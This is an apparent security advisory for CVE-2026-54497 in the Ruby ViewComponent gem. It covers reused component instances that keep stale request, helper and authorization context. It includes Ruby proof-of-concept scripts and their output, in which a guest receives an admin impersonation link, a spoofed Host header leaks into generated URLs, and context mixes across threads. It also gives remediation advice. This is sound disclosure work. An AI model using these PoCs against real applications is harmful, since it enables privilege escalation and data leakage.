PT-2026-60388 · Rubygems · View

CVE-2026-54497

·

Published

2026-07-15

·

Updated

2026-07-15

CVSS v3.1

6.8

Medium

VectorAV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Reused Component Instances Retain Stale Render Context

Summary

ViewComponent::Base instances retain multiple render-scoped objects across calls to render in. If the same component, collection, or spacer component instance is reused across requests, users, tenants, or threads, later renders can use stale helpers, controller, request, view flow, format/variant details, and slot child context from an earlier render.
This can cause authorization-aware components to render privileged UI for a lower-privileged user, generate links using a stale Host header, leak slot/helper state, and mix request context under concurrent rendering.

Severity

The PoC demonstrates cross-user authorization impact in a realistic downstream application pattern. If the receiving program accepts downstream cross-user authorization impact as a scope-changing impact for a framework vulnerability, an alternative High score can be assigned:
Alternative CVSS: 8.2 Alternative vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

Affected Code

Validated against:
  • Repository commit: eea79445
  • Ruby: 3.4.9
Relevant locations:
  • lib/view component/base.rb
  • render in
  • controller
  • helpers
  • vc request
  • lib/view component/slot.rb
  • Slot#to s
  • lib/view component/slotable.rb
  • slot storage in @ vc set slots
  • lib/view component/collection.rb
  • child component memoization and spacer rendering
Key retained state:
ruby
@view context = view context
self. vc original view context ||= view context
@lookup context ||= view context.lookup context
@view flow ||= view context.view flow
@ vc requested details ||= @lookup context.vc requested details
ruby
@ vc controller ||= view context.controller
@ vc helpers ||=  vc original view context || controller.view context
@ vc request ||= controller.request if controller.respond to?(:request)
Slot children also inherit the parent original view context:
ruby
@ vc component instance. vc original view context = @parent. vc original view context
Collections memoize child component instances:
ruby
return @components if defined? @components

Root Cause

Component instances are mutable render objects. render in updates some per-render fields, but many request-scoped values are memoized using ||= or stored for later slot/collection rendering.
There is no runtime guard preventing a component instance from being rendered multiple times under different view contexts, and there is no full reset of render-scoped state at the start of each render.
Maintainer discussion in prior PRs notes that component instances should not be shared between renders, but the current runtime does not enforce this invariant.

Proof of Concept

The following PoC demonstrates four independent effects:
  • stale authorization gate
  • stale Host/request data in generated absolute URLs
  • stale slot child context
  • cross-thread context mixing
Run from the repository root:
ruby
$LOAD PATH.unshift File.expand path("lib", Dir.pwd)
require "action controller/railtie"
require "rack/mock"
require "view component/base"

class ReusePocController < ActionController::Base
 helper method :current user, :admin?
 attr accessor :current user, :role
 def admin? = role == :admin
end

routes = ActionDispatch::Routing::RouteSet.new
routes.draw { get "/accounts/:id", to: "accounts#show" }
ReusePocController.include routes.url helpers

class AdminPanelComponent < ViewComponent::Base
 def render? = helpers.admin?

 def call
  href = helpers.url for(controller: "accounts", action: "show", id: 42, only path: false)
  "ADMIN user=#{helpers.current user};host=#{request.host};href=#{href}".html safe
 end
end

class UrlOnlyComponent < ViewComponent::Base
 def call
  href = helpers.url for(controller: "accounts", action: "show", id: 42, only path: false)
  "user=#{helpers.current user};host=#{request.host};href=#{href}".html safe
 end
end

class SlotChildComponent < ViewComponent::Base
 def call = "child user=#{helpers.current user};child path=#{request.path}".html safe
end

class SlotParentComponent < ViewComponent::Base
 renders one :child, SlotChildComponent
 def call = "parent user=#{helpers.current user};parent path=#{request.path};".html safe + child.to s
end

class RaceComponent < ViewComponent::Base
 def before render = sleep 0.05
 def call = "#{helpers.current user}@#{request.path}".html safe
end

def vc(user:, role:, path:, host: "app.example")
 c = ReusePocController.new
 c.current user = user
 c.role = role
 c.set request!(ActionDispatch::Request.new(Rack::MockRequest.env for(path, "HTTP HOST" => host)))
 c.set response!(ActionDispatch::Response.new)
 c.view context
end

admin vc = vc(user: "alice", role: :admin, path: "/admin", host: "admin.example")
guest vc = vc(user: "bob", role: :guest, path: "/guest", host: "app.example")

panel = AdminPanelComponent.new
puts "auth admin first=#{panel.render in(admin vc)}"
puts "auth guest reused=#{panel.render in(guest vc)}"
puts "auth guest fresh=#{AdminPanelComponent.new.render in(guest vc).inspect}"

url = UrlOnlyComponent.new
puts "host attacker prime=#{url.render in(vc(user: "attacker", role: :guest, path: "/prime", host: "evil.example"))}"
puts "host victim reused=#{url.render in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}"
puts "host victim fresh=#{UrlOnlyComponent.new.render in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}"

parent = SlotParentComponent.new
puts "slot admin first=#{parent.render in(admin vc) { |p| p.with child }}"
puts "slot guest reused=#{parent.render in(guest vc) { |p| p.with child }}"
puts "slot guest fresh=#{SlotParentComponent.new.render in(guest vc) { |p| p.with child }}"

race = RaceComponent.new
q = Queue.new
t1 = Thread.new { q << [:admin, race.render in(vc(user: "admin", role: :admin, path: "/admin"))] }
t2 = Thread.new { q << [:guest, race.render in(vc(user: "guest", role: :guest, path: "/guest"))] }
t1.join
t2.join
results = 2.times.map { q.pop }.to h
puts "race admin thread=#{results[:admin]}"
puts "race guest thread=#{results[:guest]}"
Observed output:
text
auth admin first=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42
auth guest reused=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42
auth guest fresh=""

host attacker prime=user=attacker;host=evil.example;href=http://evil.example/accounts/42
host victim reused=user=attacker;host=evil.example;href=http://evil.example/accounts/42
host victim fresh=user=victim;host=app.example;href=http://app.example/accounts/42

slot admin first=parent user=alice;parent path=/admin;child user=alice;child path=/admin
slot guest reused=parent user=alice;parent path=/admin;child user=alice;child path=/guest
slot guest fresh=parent user=bob;parent path=/guest;child user=bob;child path=/guest

race admin thread=admin@/guest
race guest thread=admin@/guest

Authorization-Impact PoC

The following PoC models a realistic downstream application pattern: a shared component registry caches component objects instead of caching component classes, factories, or rendered strings. An admin request primes the cached toolbar component. A later guest request renders the same cached object.
The component uses render? as an authorization-aware visibility gate and emits a representative privileged action link.
ruby
$LOAD PATH.unshift File.expand path("lib", Dir.pwd)
require "action controller/railtie"
require "rack/mock"
require "view component/base"

module SharedComponentRegistry
 def self.admin toolbar
  @admin toolbar ||= AdminToolbarComponent.new
 end

 def self.reset!
  remove instance variable(:@admin toolbar) if defined?(@admin toolbar)
 end
end

User = Struct.new(:id, :role, keyword init: true) do
 def admin? = role == :admin
end

class AppController < ActionController::Base
 helper method :current user, :admin?
 attr accessor :current user

 def admin?
  current user&.admin?
 end
end

routes = ActionDispatch::Routing::RouteSet.new
routes.draw do
 get "/admin/users/:id/impersonate", to: "admin/users#impersonate", as: :impersonate admin user
end
AppController.include routes.url helpers

class AdminToolbarComponent < ViewComponent::Base
 def render?
  helpers.admin?
 end

 def call
  helpers.link to(
   "Impersonate user 42",
   helpers.impersonate admin user url(42, host: request.host),
   data: { turbo method: :post }
  )
 end
end

class DashboardController < AppController
 def render dashboard with shared component
  render to string(inline: '<main><h1>Dashboard</h1><%= render SharedComponentRegistry.admin toolbar %></main>')
 end

 def render dashboard with fresh component
  render to string(inline: '<main><h1>Dashboard</h1><%= render AdminToolbarComponent.new %></main>')
 end
end

def controller for(user:, host:, path: "/dashboard")
 c = DashboardController.new
 c.current user = user
 c.set request!(ActionDispatch::Request.new(Rack::MockRequest.env for(path, "HTTP HOST" => host)))
 c.set response!(ActionDispatch::Response.new)
 c
end

SharedComponentRegistry.reset!
admin = User.new(id: 1, role: :admin)
guest = User.new(id: 2, role: :guest)

admin response = controller for(user: admin, host: "admin.example").render dashboard with shared component
guest reused response = controller for(user: guest, host: "app.example").render dashboard with shared component
guest fresh response = controller for(user: guest, host: "app.example").render dashboard with fresh component

puts "admin shared contains admin link=#{admin response.include?('/admin/users/42/impersonate')}"
puts "guest reused contains admin link=#{guest reused response.include?('/admin/users/42/impersonate')}"
puts "guest fresh contains admin link=#{guest fresh response.include?('/admin/users/42/impersonate')}"
puts "guest reused contains admin host=#{guest reused response.include?('http://admin.example/admin/users/42/impersonate')}"
puts "guest reused response=#{guest reused response.gsub(/s+/, ' ').strip}"
puts "guest fresh response=#{guest fresh response.gsub(/s+/, ' ').strip.inspect}"
Observed output:
text
admin shared contains admin link=true
guest reused contains admin link=true
guest fresh contains admin link=false
guest reused contains admin host=true
guest reused response=<main><h1>Dashboard</h1><a data-turbo-method="post" href="http://admin.example/admin/users/42/impersonate">Impersonate user 42</a></main>
guest fresh response="<main><h1>Dashboard</h1></main>"
This confirms a cross-user authorization impact in a realistic pattern: a guest receives privileged UI that a fresh component correctly suppresses. It also confirms stale request and Host context in the generated privileged URL.

Exploit Scenario

A downstream app stores component instances in a constant, singleton service, memoized helper, cache object, or shared collection builder to avoid allocation. An attacker or lower-privileged user later triggers rendering of that same object.
Potential real-world examples:
  • A navigation/sidebar component checks helpers.admin? in render?.
  • A tenant switcher uses request.host or current user.account.
  • A component emits absolute URLs or signed action links.
  • A table uses slot child components that rely on helper/request state.
  • A global UI registry stores instantiated spacer or child components.
In these cases, a component first rendered under an admin or attacker-controlled request can affect later renders for other users.

Impact

Confirmed impact classes:
  • stale privileged UI rendering
  • stale user identity through helpers
  • stale Host/request data in generated absolute URLs
  • slot child context inheritance
  • cross-thread context corruption
  • stale format/variant template selection
  • stale view flow / content for writes
  • collection and spacer component context leakage
This can chain into privilege escalation if an application relies on UI visibility as an authorization boundary. It can also leak signed links, tenant-specific URLs, admin actions, or user-specific data.

Preconditions

  • The same component, collection, slot, or spacer component instance is reused across render contexts.
  • The component reads request-scoped or user-scoped APIs such as helpers, controller, request, URL helpers, render?, before render, slots, variants, formats, or content for.
  • Higher impact when the shared object crosses users, tenants, roles, or threads.
Normal per-request usage such as render(MyComponent.new(...)) is not affected.

Chaining Potential

This issue can chain with:
  • UI-only authorization checks
  • signed admin links embedded in components
  • Host header poisoning
  • multi-tenant routing based on host/subdomain
  • shared component registries
  • fragment/component caching patterns that cache objects rather than rendered strings
  • concurrent Rails servers such as Puma
The framework alone does not directly prove account takeover, but downstream applications can reach high impact if stale component output exposes privileged action links or bypasses server-side authorization assumptions.

Remediation

The safest fix is to make component and collection instances one-shot renderables.
Recommended options:
  1. Add a runtime guard in render in that raises or warns when the same component instance is rendered again with a different view context.
  2. Reset render-scoped ivars at the beginning of every render, including:
  • vc original view context
  • @lookup context
  • @view flow
  • @ vc requested details
  • @ vc controller
  • @ vc helpers
  • @ vc request
  1. Rebuild ViewComponent::Collection child component instances per render or document/enforce collections as one-shot.
  2. Avoid accepting a reusable instantiated spacer component, or reset/clone it before rendering.
  3. Add thread-safety tests for concurrent rendering of a shared instance.

Exploit

Fix

Exposure of Resource to Wrong Sphere

Race Condition

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-54497
GHSA-9H85-G7W3-RH49

Affected Products

View